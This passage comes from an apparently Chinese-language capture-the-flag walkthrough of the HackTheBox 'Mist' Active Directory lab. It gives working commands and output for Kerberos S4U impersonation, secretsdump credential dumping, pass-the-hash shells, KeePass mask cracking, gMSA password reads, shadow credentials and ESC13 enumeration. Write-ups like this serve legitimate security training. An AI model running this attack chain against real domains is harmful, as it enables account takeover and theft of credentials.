[*] Saved credential cache to 'ms01.ccache'
[*] Trying to retrieve NT hash for 'ms01$'
[*] Got hash for 'ms01$@mist.htb': aad3b435b51404eeaad3b435b51404ee:25231b945c930613cd0a425c85901ad4
```

``` bash
mist % proxychains -q netexec smb MS01 -u 'ms01$' -H 25231b945c930613cd0a425c85901ad4
SMB         192.168.100.101 445    MS01             [*] Windows Server 2022 Build 20348 x64 (name:MS01) (domain:mist.htb) (signing:False) (SMBv1:False)
SMB         192.168.100.101 445    MS01             [+] mist.htb\ms01$:25231b945c930613cd0a425c85901ad4
```

这个hash将定期更改（默认情况下每24小时更改一次），并且每次启动时都会有所不同。

#### Shell as Administrator on MS01
#### Get Kerberos Ticket

我不能使用这个机器帐户的NTLM hash（或影子凭证）进行任何远程登录。但是，作为SMB（CIFS）服务的管理员，可以使用这个hash来获取服务票据。

Brandon.Keywarp的shell，使用rubeus获得一个Kerberos票据作为机器帐户：

``` bash
PS C:\xampp\htdocs\files> .\rubeus asktgt /nowrap /user:"ms01$" /rc4:25231b945c930613cd0a425c85901ad4

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.2

[*] Action: Ask TGT

[*] Got domain: mist.htb
[*] Using rc4_hmac hash: 25231b945c930613cd0a425c85901ad4
[*] Building AS-REQ (w/ preauth) for: 'mist.htb\ms01$'
[*] Using domain controller: 192.168.100.100:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFLDCCBSigAwIBBaEDAgEWooIEUDCCBExhggRIMIIERKADAgEFoQobCE1JU1QuSFRCoh0wG6ADAgECoRQwEhsGa3JidGd0GwhtaXN0Lmh0YqOCBBAwggQMoAMCARKhAwIBAqKCA/4EggP6R+/Me9FSGGcBqMVPHOscpAfymkhO55xWQEYCImqAnnKhV0DUHith5D/6P5uXDhUtnVBqYbQg4uG2B4rNhZuGFlTk9iLlA8pgTvfGPZTKbZQcbqO8kA8P0zvT441FzrdjRPPMKj82jwuPZACf1UoC4rRagNqOYvS7rfELwpUhNTJmIXnYLrj9QklEyaq/1Wd0U3dYNvzoN9Q5thu8b+aTiPfduMUjR4iEggZ5OcGUxPXlTYm53Hf01/aLGisIs7qXhENdEUGf+NYQj/8HOJ2Kd1efYSLHF+NaUoVttpDmzZldrzfzLsHisZCX8VHTa1kgNmJplnZe/Ta00H8lSdcRK630rFjB0L5b22zg91FMBtOSeMXxlpAWOjH5L9pi33mtdwuUzPsjbcdlSxk+TJ/dAeLe4Z4k6WromkJ38Kx3DbQfQewDQVVqB9TqCAzraEpsqIJ8aQhIZB6Ryz+92gi74m0ByuxXChxL26cky84YxGvcoT89hWjx/xiVeMBQ14+zSOlEpVpoem7WyzmdT8ShakWknm2hTDagHnQVY2gQb6578VBtodHgnP6/i8/aTvQZOlqVLM0IuoaAZ0Q+vk9ld416rWi/LQ+dSpslrbtSw/W/RDiqqqIqtCfin3i/E9xLZ1BkvfZloT8egxG83nQRDON17Zk94OaWY7yr3XaAuBK5e794c1xk+rC6SNGVVmWVEaWiVjId7LCKVHNFNUcUtgeU23wuNHyJL2iIsPbsW3RF7aqnqNXwAGaG17nJJ24dinu1J3Rumw5iYKeviYuzqN8Efrnbis5tTKFw0h0lc0EngT52A9PtOO5c5+wAG9C3pXqqlUNchf1qIPzqnrnsKn/tS1+lNISCpnrpG250XTe6PJ1zYFAzxLiHTgW/fzRobkP6wdNey6kdmylBsHGX1bnFO133Xo2oW8afCaijNk+EOBuJ+ErjM6QJxfyphyxzlBLR/rUqqxUMMzzJx7r4ymbVQUVE4TvGmLHB9Zfa/eVWQbADaxmzRNPbM08U+6MTgTDo6+lLbEt4BQCmhFwHoS2NMu9tfEn+7xegOwsmp4LdciwRAjOjH9mpypg6aDUbvaOuSD08sQsTFJtqqinnKlciYIlK1+JgYukMSyppbdkKm2bIV5WJzL4rt6P7bhDdB6I/RPI8CcDvpwBPmNrasLx0cJgveGLHMqT3TttEj+xg9oDNkfrysQAiuxML+ql+wbBQqERvcrVVwbabRrOgBr8LC8bUCK5FngM3IKl4jpLGwq2o9dIE/DtBF1wxwhjkRvI78K3JgsqV+kgwKkciYdJmIPTV7iSO4NkZbshorWUojIaGNqbhHw+IdTGnRwsLmn8s0Dc7rRGKuKOBxzCBxKADAgEAooG8BIG5fYG2MIGzoIGwMIGtMIGqoBswGaADAgEXoRIEEIw2NcvqHsZgRgLdfukFtcmhChsITUlTVC5IVEKiEjAQoAMCAQGhCTAHGwVtczAxJKMHAwUAQOEAAKURGA8yMDI0MTAyNzA3MTgxMFqmERgPMjAyNDEwMjcxNzE4MTBapxEYDzIwMjQxMTAzMDcxODEwWqgKGwhNSVNULkhUQqkdMBugAwIBAqEUMBIbBmtyYnRndBsIbWlzdC5odGI=

  ServiceName              :  krbtgt/mist.htb
  ServiceRealm             :  MIST.HTB
  UserName                 :  ms01$ (NT_PRINCIPAL)
  UserRealm                :  MIST.HTB
  StartTime                :  10/27/2024 12:18:10 AM
  EndTime                  :  10/27/2024 10:18:10 AM
  RenewTill                :  11/3/2024 12:18:10 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  jDY1y+oexmBGAt1+6QW1yQ==
  ASREP (key)              :  25231B945C930613CD0A425C85901AD4
```

把该票据返回给rubeus，使用s4u冒充MS01上的CIFS服务的管理员帐户请求票据：

``` bash
PS C:\xampp\htdocs\files> .\rubeus s4u /self /nowrap /impersonateuser:Administrator /altservice:"cisf/ms01.mist.htb" /ticket:doIFLDCCBSigAwIBBaEDAgEWooIEUDCCBExhggRIMIIERKADAgEFoQobCE1JU1QuSFRCoh0wG6ADAgECoRQwEhsGa3JidGd0GwhtaXN0Lmh0YqOCBBAwggQMoAMCARKhAwIBAqKCA/4EggP6R+/Me9FSGGcBqMVPHOscpAfymkhO55xWQEYCImqAnnKhV0DUHith5D/6P5uXDhUtnVBqYbQg4uG2B4rNhZuGFlTk9iLlA8pgTvfGPZTKbZQcbqO8kA8P0zvT441FzrdjRPPMKj82jwuPZACf1UoC4rRagNqOYvS7rfELwpUhNTJmIXnYLrj9QklEyaq/1Wd0U3dYNvzoN9Q5thu8b+aTiPfduMUjR4iEggZ5OcGUxPXlTYm53Hf01/aLGisIs7qXhENdEUGf+NYQj/8HOJ2Kd1efYSLHF+NaUoVttpDmzZldrzfzLsHisZCX8VHTa1kgNmJplnZe/Ta00H8lSdcRK630rFjB0L5b22zg91FMBtOSeMXxlpAWOjH5L9pi33mtdwuUzPsjbcdlSxk+TJ/dAeLe4Z4k6WromkJ38Kx3DbQfQewDQVVqB9TqCAzraEpsqIJ8aQhIZB6Ryz+92gi74m0ByuxXChxL26cky84YxGvcoT89hWjx/xiVeMBQ14+zSOlEpVpoem7WyzmdT8ShakWknm2hTDagHnQVY2gQb6578VBtodHgnP6/i8/aTvQZOlqVLM0IuoaAZ0Q+vk9ld416rWi/LQ+dSpslrbtSw/W/RDiqqqIqtCfin3i/E9xLZ1BkvfZloT8egxG83nQRDON17Zk94OaWY7yr3XaAuBK5e794c1xk+rC6SNGVVmWVEaWiVjId7LCKVHNFNUcUtgeU23wuNHyJL2iIsPbsW3RF7aqnqNXwAGaG17nJJ24dinu1J3Rumw5iYKeviYuzqN8Efrnbis5tTKFw0h0lc0EngT52A9PtOO5c5+wAG9C3pXqqlUNchf1qIPzqnrnsKn/tS1+lNISCpnrpG250XTe6PJ1zYFAzxLiHTgW/fzRobkP6wdNey6kdmylBsHGX1bnFO133Xo2oW8afCaijNk+EOBuJ+ErjM6QJxfyphyxzlBLR/rUqqxUMMzzJx7r4ymbVQUVE4TvGmLHB9Zfa/eVWQbADaxmzRNPbM08U+6MTgTDo6+lLbEt4BQCmhFwHoS2NMu9tfEn+7xegOwsmp4LdciwRAjOjH9mpypg6aDUbvaOuSD08sQsTFJtqqinnKlciYIlK1+JgYukMSyppbdkKm2bIV5WJzL4rt6P7bhDdB6I/RPI8CcDvpwBPmNrasLx0cJgveGLHMqT3TttEj+xg9oDNkfrysQAiuxML+ql+wbBQqERvcrVVwbabRrOgBr8LC8bUCK5FngM3IKl4jpLGwq2o9dIE/DtBF1wxwhjkRvI78K3JgsqV+kgwKkciYdJmIPTV7iSO4NkZbshorWUojIaGNqbhHw+IdTGnRwsLmn8s0Dc7rRGKuKOBxzCBxKADAgEAooG8BIG5fYG2MIGzoIGwMIGtMIGqoBswGaADAgEXoRIEEIw2NcvqHsZgRgLdfukFtcmhChsITUlTVC5IVEKiEjAQoAMCAQGhCTAHGwVtczAxJKMHAwUAQOEAAKURGA8yMDI0MTAyNzA3MTgxMFqmERgPMjAyNDEwMjcxNzE4MTBapxEYDzIwMjQxMTAzMDcxODEwWqgKGwhNSVNULkhUQqkdMBugAwIBAqEUMBIbBmtyYnRndBsIbWlzdC5odGI=

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.2

[*] Action: S4U

[*] Action: S4U

[*] Building S4U2self request for: 'ms01$@MIST.HTB'
[*] Using domain controller: DC01.mist.htb (192.168.100.100)
[*] Sending S4U2self request to 192.168.100.100:88
[+] S4U2self success!
[*] Substituting alternative service name 'cisf/ms01.mist.htb'
[*] Got a TGS for 'Administrator' to 'cisf@MIST.HTB'
[*] base64(ticket.kirbi):

      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
```

要在Linux主机上使用这个票据，需要对它进行转换。将把base64字符串保存到一个文件中，并对其进行解码。然后使用ticketConverter.py（来自[Impacket](https://github.com/SecureAuthCorp/impacket)）将其转换为CCACHE格式：

``` bash
root@kali:~/hackthebox/machine/mist
> base64 -d administrator.kirbi.b64 > administrator.kirbi
root@kali:~/hackthebox/machine/mist
> ticketConverter.py administrator.kirbi administrator.ccache
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done
```

#### shell

``` bash
root@kali:~/hackthebox/machine/mist
> KRB5CCNAME=administrator.ccache proxychains -q wmiexec.py administrator@ms01.mist.htb -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
mist\administrator

C:\>cd C:\users\administrator\desktop
C:\users\administrator\desktop>type user.txt
4806854ad731db81dfdc5cb13d138120
```

#### secretsdump

``` bash
mist % KRB5CCNAME=administrator.ccache proxychains -q secretsdump.py administrator@ms01.mist.htb -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe3a142f26a6e42446aa8a55e39cbcd86
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:711e6a685af1c31c4029c3c7681dd97b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:90f903787dd064cc1973c3aa4ca4a7c1:::
svc_web:1000:aad3b435b51404eeaad3b435b51404ee:76a99f03b1d2656e04c39b46e16b48c8:::
[*] Dumping cached domain logon information (domain/username:hash)
MIST.HTB/Brandon.Keywarp:$DCC2$10240#Brandon.Keywarp#5f540c9ee8e4bfb80e3c732ff3e12b28: (2024-10-27 07:30:58)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
MIST\MS01$:plain_password_hex:7e580d1b9c3b6f6e86642fe757cd0b8d0b99cc99cc7b44ab5a0090f0d9df6e6aed5bcf0209b662941352c2fa84f9c67c888f82bce891c1e4c12c9dd3ba3c69dccb34e2c1ccebd6f54f5f3eae7a6ec0461c2fe65ee2aaeb42333cc339ef2f5def6a1da74eda6e6a0e58446d0ea0786186045c63fd0edb40a76f8c29ea76f987f28cd64611a3dad4bbd3926472e107d16d2c2cbe0ece843c377896901916e7289c71d06f48de21f840ec14d193176068dad898e0b133998814bbd2852e026d3ae9e313ba4bd36e6f937e7d17c7671ebf939803d439f9a908d90c3336e097c96020aafd2cfb3c93617c74e361d5942976cf
MIST\MS01$:aad3b435b51404eeaad3b435b51404ee:25231b945c930613cd0a425c85901ad4:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xe464e18478cf4a7d809dfc9f5d6b5230ce98779b
dpapi_userkey:0x579d7a06798911d322fedc960313e93a71b43cc2
[*] NL$KM
 0000   57 C8 F7 CD 24 F2 55 EB  19 1D 07 C2 15 84 21 B0   W...$.U.......!.
 0010   90 7C 79 3C D5 BE CF AC  EF 40 4F 8E 2A 76 3F 00   .|y<.....@O.*v?.
 0020   04 87 DF 47 CF D8 B7 AF  6D 5E EE 9F 16 5E 75 F3   ...G....m^...^u.
 0030   80 24 AA 24 B0 7D 3C 29  4F EA 4E 4A FB 26 4E 62   .$.$.}<)O.NJ.&Nb
NL$KM:57c8f7cd24f255eb191d07c2158421b0907c793cd5becfacef404f8e2a763f000487df47cfd8b7af6d5eee9f165e75f38024aa24b07d3c294fea4e4afb264e62
[*] _SC_ApacheHTTPServer
svc_web:MostSavagePasswordEver123
[*] Cleaning up...
[*] Stopping service RemoteRegistry
```

可以直接以管理员的身份获得shell，而无需返回到其他步骤：

``` bash
root@kali:~/hackthebox/machine/mist
> proxychains -q evil-winrm -i localhost -u administrator -H 711e6a685af1c31c4029c3c7681dd97b

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
ms01\administrator
```

#### Shell as op_Sharon.Mullard on Mist
#### Enumeration
#### Home Directories

Sharon.Mullard有一个KeePass数据库，在他们的主目录中也有一些图像：

``` bash
*Evil-WinRM* PS C:\Users\Sharon.Mullard> tree . /f
Folder PATH listing
Volume serial number is 000001AF 560D:8100
C:\USERS\SHARON.MULLARD
+---Desktop
+---Documents
¦       sharon.kdbx
¦
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
¦       cats.png
¦       image_20022024.png
¦
+---Saved Games
+---Videos
```

#### KeePass

KeePass数据库需要密码，看看两个图片文件

 - cats.png

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mist-cats.png)

 - image_20022024.png

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mist-image_20022024.png)

它显示了一个带有base64编码密码的[Cyberchef](https://gchq.github.io/CyberChef/)窗口。输入是15个字符（可以在单词"Output"上方看到），并以这14个字符开头："UA7cpa[#1!_*ZX"

#### 恢复密码
#### 破解 KeePass Master Password

使用keepass2john从数据库生成一个hash：

``` bash
mist % keepass2john sharon.kdbx | tee sharon.kdbx.hash
sharon:$keepass$*2*60000*0*ae4c58b24d564cf7e40298f973bfa929f494a285e48a70b719b280200793ee67*761ad6f646fff6f41a844961b4cc815dc4cd0d5871520815f51dd1a5972f6c55*6520725ffa21f113d82f5240f3be21b6*ce6d93ca81cb7f1918210d0752878186b9e8965adef69a2a896456680b532162*dda750ac8a3355d831f62e1e4e99970f6bfe6b7d2b6d429ed7b6aca28d3174dc
```

使用-a 3将其传递给hashcat使用掩码模式，并给它"UA7cpa[#1!_*ZX"作为密码，其中?a表示任意字符。自动检测哈希模式找到两种可能的哈希格式，这个是13400：

``` bash
hashcat --user sharon.kdbx.hash -m 13400 -a 3 'UA7cpa[#1!_*ZX?a'

UA7cpa[#1!_*ZX@
```

#### Read Password from KeePass

``` bash
mist % kpcli --kdb=sharon.kdbx
Provide the master password: *************************

KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> show -f "sharon/operative account"

 Path: /sharon/
Title: operative account
Uname:
 Pass: ImTiredOfThisJob:(
  URL: https://keepass.info/
Notes: Notes
```

#### 确认user

回头看看Bloodhound，在"搜索"栏输入"Sha"会显示另一个账户：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Mist3.png)

``` bash
mist % proxychains -q netexec smb MS01 -u op_sharon.mullard -p 'ImTiredOfThisJob:('
SMB         192.168.100.101 445    MS01             [*] Windows Server 2022 Build 20348 x64 (name:MS01) (domain:mist.htb) (signing:False) (SMBv1:False)
SMB         192.168.100.101 445    MS01             [-] Error checking if user is admin on 192.168.100.101: The NETBIOS connection with the remote host timed out.
SMB         192.168.100.101 445    MS01             [+] mist.htb\op_sharon.mullard:ImTiredOfThisJob:(
mist % proxychains -q netexec smb DC01 -u op_sharon.mullard -p 'ImTiredOfThisJob:('
SMB         192.168.100.100 445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:mist.htb) (signing:True) (SMBv1:False)
SMB         192.168.100.100 445    DC01             [+] mist.htb\op_sharon.mullard:ImTiredOfThisJob:(
mist % proxychains -q netexec winrm DC01 -u op_sharon.mullard -p 'ImTiredOfThisJob:('
WINRM       192.168.100.100 5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:mist.htb)
WINRM       192.168.100.100 5985   DC01             [+] mist.htb\op_sharon.mullard:ImTiredOfThisJob:( (Pwn3d!)
```

#### Evil-WinRM

[Evil-WinRM](https://github.com/Hackplayers/evil-winrm)在proxychains上可以在DC01上获得shell：

``` bash
mist % proxychains -q evil-winrm -i DC01 -u op_sharon.mullard -p 'ImTiredOfThisJob:('

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\op_Sharon.Mullard\Documents> whoami
mist\op_sharon.mullard
```

#### Auth as svc_ca$
#### Enumeration

除了作为一个具有证书的域用户之外，op_Sharon.Mullard属于Operatives组，对该组的SVC_CA$账户具有ReadGMSAPassword权限

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Mist4.png)

#### Get Password Hash

``` bash
~/hackthebox/machine/mist proxychains -q netexec ldap DC01 -u op_sharon.mullard -p 'ImTiredOfThisJob:(' --gmsa
SMB         192.168.100.100 445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:mist.htb) (signing:True) (SMBv1:False)
LDAPS       192.168.100.100 636    DC01             [+] mist.htb\op_sharon.mullard:ImTiredOfThisJob:(
LDAPS       192.168.100.100 636    DC01             [*] Getting GMSA Passwords
LDAPS       192.168.100.100 636    DC01             Account: svc_ca$              NTLM: 07bb1cde74ed154fcec836bc1122bdcc

~/hackthebox/machine/mist proxychains -q netexec smb DC01 -u 'svc_ca$' -H 07bb1cde74ed154fcec836bc1122bdcc
SMB         192.168.100.100 445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:mist.htb) (signing:True) (SMBv1:False)
SMB         192.168.100.100 445    DC01             [+] mist.htb\svc_ca$:07bb1cde74ed154fcec836bc1122bdcc
```

#### Auth as svc_cabackup
#### Enumeration

svc_ca$帐户是证书服务组的成员，该组有另一个可以注册的证书模板，但更重要的是，它在svc_cabackup上有AddKeyCredentialLink权限：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Mist5.png)

#### Add Shadow Credential

``` bash
~/hackthebox/machine/mist proxychains -q certipy shadow auto -username 'svc_ca$@mist.htb' -hashes :07bb1cde74ed154fcec836bc1122bdcc -account svc_cabackup
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'svc_cabackup'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'd21d6202-5d9d-d7db-8779-5b3fec4d9e11'
[*] Adding Key Credential with device ID 'd21d6202-5d9d-d7db-8779-5b3fec4d9e11' to the Key Credentials for 'svc_cabackup'
[*] Successfully added Key Credential with device ID 'd21d6202-5d9d-d7db-8779-5b3fec4d9e11' to the Key Credentials for 'svc_cabackup'
[*] Authenticating as 'svc_cabackup' with the certificate
[*] Using principal: svc_cabackup@mist.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'svc_cabackup.ccache'
[*] Trying to retrieve NT hash for 'svc_cabackup'
[*] Restoring the old Key Credentials for 'svc_cabackup'
[*] Successfully restored the old Key Credentials for 'svc_cabackup'
[*] NT hash for 'svc_cabackup': c9872f1bc10bdd522c12fc2ac9041b64

~/hackthebox/machine/mist proxychains -q netexec smb DC01 -u 'svc_cabackup' -H c9872f1bc10bdd522c12fc2ac9041b64
SMB         192.168.100.100 445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:mist.htb) (signing:True) (SMBv1:False)
SMB         192.168.100.100 445    DC01             [+] mist.htb\svc_cabackup:c9872f1bc10bdd522c12fc2ac9041b64
```

#### Shell as Administrator
#### ESC13 Background

在2024年2月，Spector Ops发布了一项名为[ADCS ESC13滥用技术](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)的新研究，详细描述了另一种ADCS错误配置。这一点与具有OID组链接到AD组的保险政策的模板有关。模板有一个保险策略，该策略可以有一个指向组的链接，这样使用该证书进行身份验证的用户就可以获得一个具有该组成员资格的令牌。Spector Ops将ESC13的所需条件如下列出：

1. 主体对证书模板具有注册权限。
2. 证书模板具有颁发策略扩展。
3. 发布策略中有一个OID组链接到某个组。
4. 证书模板中没有委托人不能满足的颁发要求。
5. 证书模板定义了启用客户端认证的eku。

#### ESC13 Enumeration
#### Check-ADCSESC13.ps1

有几种方法可以检查ESC13。有一个PowerShell脚本，[Check-ADCSESC13.Ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1)就是这么设计的。上传到DC01，并运行它：

``` bash
*Evil-WinRM* PS C:\programdata> . .\Check-ADCSESC13.ps1
Enumerating OIDs
------------------------
OID 14514029.01A0D91BA39F2716F6917FF97B18C130 links to group: CN=Certificate Managers,CN=Users,DC=mist,DC=htb

OID DisplayName: 1.3.6.1.4.1.311.21.8.5839708.6945465.11485352.4768789.12323346.226.6538420.14514029
OID DistinguishedName: CN=14514029.01A0D91BA39F2716F6917FF97B18C130,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=mist,DC=htb
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.5839708.6945465.11485352.4768789.12323346.226.6538420.14514029
OID msDS-OIDToGroupLink: CN=Certificate Managers,CN=Users,DC=mist,DC=htb
------------------------
OID 979197.E044723721C6681BECDB4DDD43B151CC links to group: CN=ServiceAccounts,OU=Services,DC=mist,DC=htb

OID DisplayName: 1.3.6.1.4.1.311.21.8.5839708.6945465.11485352.4768789.12323346.226.858803.979197
OID DistinguishedName: CN=979197.E044723721C6681BECDB4DDD43B151CC,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=mist,DC=htb
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.5839708.6945465.11485352.4768789.12323346.226.858803.979197
OID msDS-OIDToGroupLink: CN=ServiceAccounts,OU=Services,DC=mist,DC=htb
------------------------
Enumerating certificate templates
------------------------
Certificate template ManagerAuthentication may be used to obtain membership of CN=Certificate Managers,CN=Users,DC=mist,DC=htb

Certificate template Name: ManagerAuthentication
OID DisplayName: 1.3.6.1.4.1.311.21.8.5839708.6945465.11485352.4768789.12323346.226.6538420.14514029
OID DistinguishedName: CN=14514029.01A0D91BA39F2716F6917FF97B18C130,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=mist,DC=htb
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.5839708.6945465.11485352.4768789.12323346.226.6538420.14514029
OID msDS-OIDToGroupLink: CN=Certificate Managers,CN=Users,DC=mist,DC=htb
------------------------
Certificate template BackupSvcAuthentication may be used to obtain membership of CN=ServiceAccounts,OU=Services,DC=mist,DC=htb

Certificate template Name: BackupSvcAuthentication
OID DisplayName: 1.3.6.1.4.1.311.21.8.5839708.6945465.11485352.4768789.12323346.226.858803.979197
OID DistinguishedName: CN=979197.E044723721C6681BECDB4DDD43B151CC,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=mist,DC=htb
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.5839708.6945465.11485352.4768789.12323346.226.858803.979197
OID msDS-OIDToGroupLink: CN=ServiceAccounts,OU=Services,DC=mist,DC=htb
------------------------
Done
```

ManagerAuthentication模板可以用来在证书管理器中获得成员资格：

``` bash
Certificate template ManagerAuthentication may be used to obtain membership of CN=Certificate Managers,CN=Users,DC=mist,DC=htb
```

另外，BackupSvcAuthentication可以用来获得ServiceAccounts中的成员资格：

``` bash
Certificate template BackupSvcAuthentication may be used to obtain membership of CN=ServiceAccounts,OU=Services,DC=mist,DC=htb
```

#### Bloodhound 预定义查询

在Bloodhound-CE中有一个预定义的查询，通过转到"Cypher"，点击文件夹图标，然后向下滚动到ADCS部分的底部，找到"Enrollment rights on CertTemplates with OIDGroupLink"，可以直观地看到这一点：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Mist6.png)

运行它

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Mist7.png)

在这个图中有两个OIDGroupLink链接。实际缺少的是Certificate Managers组是CA Backup组的成员，而ServiceAccounts组是Backup Operators组的成员。使用Pathfinding选项卡可以很好地显示这一点：

